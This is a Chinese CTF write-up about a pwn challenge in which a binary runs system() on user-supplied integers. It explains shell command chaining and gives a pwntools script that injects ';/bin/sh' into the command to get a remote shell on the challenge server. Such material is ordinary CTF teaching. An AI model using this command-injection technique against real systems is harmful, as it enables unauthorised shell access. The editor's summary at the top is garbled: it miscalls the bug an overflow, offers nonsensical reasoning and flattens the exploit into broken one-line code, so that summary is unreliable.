pwn杂项之linux命令执行

pwn,linux · 浏览次数 : 0

小编点评

## 解题思路 题目考察了对liunx命令的理解以及对程序的分析能力。通过一系列的测试,我们最终找到了程序的漏洞条件,并利用了溢出漏洞来执行命令。 **漏洞条件:** 首先,程序首先将命令存储在 `v3` 中,然后将 `v4` 设置为 `command` 的首地址。当我们输入第一个命令之后加上 `&&`,然后后面加上第二个命令时,`v4` 会指向第一个命令的字符串地址。因此,当我们执行 `system(command)` 时,`command` 会被注入到 `v3` 中。 **溢出漏洞代码:** ```python n = i * 4 io.sendline(str(u32(payload[n:n + 4]) - 0x1BF52)) ``` **溢出代码分析:** * 题目首先计算出 `n` 的值,即 `i` 的 4 倍。 * `payload[n:n + 4]` 的值是 `u32(payload[n:n + 4])` 的结果,其中 `payload[n:n + 4]` 是 `v3` 的子串。 * `0x1BF52` 是溢出值,因此 `n` 的值应小于 4 的整数。 * 当 `i` 为 0 时,`n` 的值就为 0,导致 `payload[n:n + 4]` 的值为 `0x1bf52`,即 `command` 的首地址。 * 因此,当我们输入第一个命令之后加上 `&&`,然后后面加上第二个命令时,`command` 会被注入到 `v3` 中。 **完整代码:** ```python from pwn import *context context(log_level='debug',arch='amd64',os='linux')io = remote('pwn.challenge.ctf.show',28180)payload = b'PvvN| 1S S0 GREAT!;/bin/sh\\x00\\x00'print(len(payload))for i in range(7): n = i * 4 io.sendline(str(u32(payload[n:n + 4]) - 0x1BF52))io.interactive()  ``` **总结:** 通过溢出漏洞,我们可以绕过程序的安全性,执行命令。

正文

通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替🔢

下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析。

题目地址:BUUCTF在线评测 (buuoj.cn)

扩展:1.当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也可以执行第二个

2.当我们输入第一个命令之后加上&&,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真再执行第二个命令,否则不会执行

3.当我们输入第一个命令之后加上||,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真就不会执行第二个命令,否则会执行

1.当拿到题目的时候,先看有没有给libc什么的,如果给了,首先先把题目的libc换上,然后再进行下一步,当然对于这一个题目首先查看保护

2.处于一个保护全开的状态,其实对于这种保护全开的题目,要么程序里面给了后门,要么这是个堆题,64位ida载入一下

可以看见程序确实留的有后门,现在进行逐步分析

v3是command的指针,v4是command的首地址

这里就是我们对command里面进行赋值,不过是要输入数字,%d,4个单元为一个元素

这里进行遍历把* v3里面每个元素都加了0x1bf52

v8里面放的是这个

这里进行判断输入command的东西是不是等于v8里面的东西,如果不是就退出,而且如果最后循环结束的时候*v8指向的字符串不是'0'的时候就不会执行system(command)。

思路是,首先输入的东西肯定要包含v8里面的东西,然后就是加上/bin/sh\x00\x00,\x00的作用就是进行绕过,不让程序退出,然后就会执行PvvN| 1S S0 GREAT!/bin/sh,但是这个啥也不是啊,别忘了linux里面的命令特点,当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也没事,那么就是PvvN| 1S S0 GREAT!;/bin/sh,但是前面将每一个元素加了0x1BF52,我们需要减去,然后就是输入对应的ascii码

可以使用u32或者u64进行输入,返回的是int类型的ascii码。

Exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = remote('pwn.challenge.ctf.show',28180)

payload = b'PvvN| 1S S0 GREAT!;/bin/sh\x00\x00'

print(len(payload))

for i in range(7):
    n=i*4
    io.sendline(str(u32(payload[n:n+4])-0x1BF52))


io.interactive()

 

与pwn杂项之linux命令执行相似的内容:

pwn杂项之linux命令执行

通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替 下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析。 题目地址:BUUCTF在线评测 (buuoj.cn) 扩展:1.当我们输入第一个命令之后加上;然后后面

TLScanary:Pwn中的利器

TLScanary:Pwn中的利器 引言:什么是TLScanary? 在二进制漏洞利用(Pwn)领域,攻击者面临着层层防护措施的挑战。在安全竞赛(如CTF)和实际漏洞利用中,TLS(线程本地存储)和堆栈保护(stack canary)是常见的防护技术。TLScanary应运而生,它结合了TLS协议与

XYCTF pwn部分题解 (部分题目详解)

hello_world(签到) 思路:✅ 这道题就是利用printf函数泄露libc的基地址,然后再次进行栈溢出通过system,/bin/sh来获取shell wp: invisible_flag 思路:✅ 题目提示orw,那我们先看看是否开了沙盒 那么是开了沙盒的,试试orw读取flag 虽然保

劫持TLS绕过canary && 堆和栈的灵活转换

引入:什么是TLScanary? TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS